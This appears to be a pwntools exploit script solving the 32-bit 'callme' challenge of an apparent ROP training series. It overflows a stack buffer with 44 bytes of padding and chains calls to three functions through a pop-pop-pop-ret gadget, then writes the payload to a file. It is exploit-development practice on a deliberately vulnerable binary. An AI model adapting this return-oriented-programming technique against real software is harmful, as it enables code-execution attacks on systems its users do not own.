from pwn import *

e = ELF('./callme32')

c1 = p32(e.symbols['callme_one'])
c2 = p32(e.symbols['callme_two'])
c3 = p32(e.symbols['callme_three'])

print hex(e.symbols['callme_one'])

one = p32(0x00000001)
two = p32(0x00000002)
three = p32(0x00000003)

args = one+two+three

fill = 'A'*44

# 0x080488a9: pop esi; pop edi; pop ebp; ret; 
gadget = p32(0x080488a9)
payload = fill+c1+gadget+args
payload += c2+gadget+args
payload += c3+gadget+args

with open('payload', 'wb') as f:
	f.write(payload)
	f.close()
  
# ./callme32 < payload
